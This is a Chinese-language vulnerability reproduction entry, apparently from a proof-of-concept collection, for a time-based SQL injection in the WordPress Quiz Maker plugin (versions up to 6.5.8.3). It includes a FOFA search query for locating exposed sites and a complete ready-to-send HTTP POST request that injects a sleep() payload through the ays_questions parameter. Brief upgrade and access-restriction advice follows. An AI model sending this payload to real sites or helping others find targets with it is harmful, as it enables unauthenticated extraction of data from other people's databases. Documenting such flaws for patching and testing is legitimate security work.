W15-1WordPress-Quiz Maker插件-SQL

漏洞描述：

WordPress的Quiz Maker插件在6.5.8.3版本及以下存在基于时间的SQL注入漏洞，漏洞位于“ays_questions”参数上。由于对用户提供的参数缺乏足够的转义处理和对现有SQL查询的充分准备不足，使得未经验证的攻击者能够在已有的查询中附加额外的SQL查询，从而可能从数据库中提取敏感信息。

影响版本：

Quiz Maker <= 6.5.8.3

fofa语法：

"/wp-content/plugins/quiz-maker/"

漏洞复现：

延时5秒，执行两次 payload：

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,5,0)]=&action=ays_finish_quiz
```

效果图：

修复建议：

关闭互联网暴露面或接口设置访问权限

升级至安全版本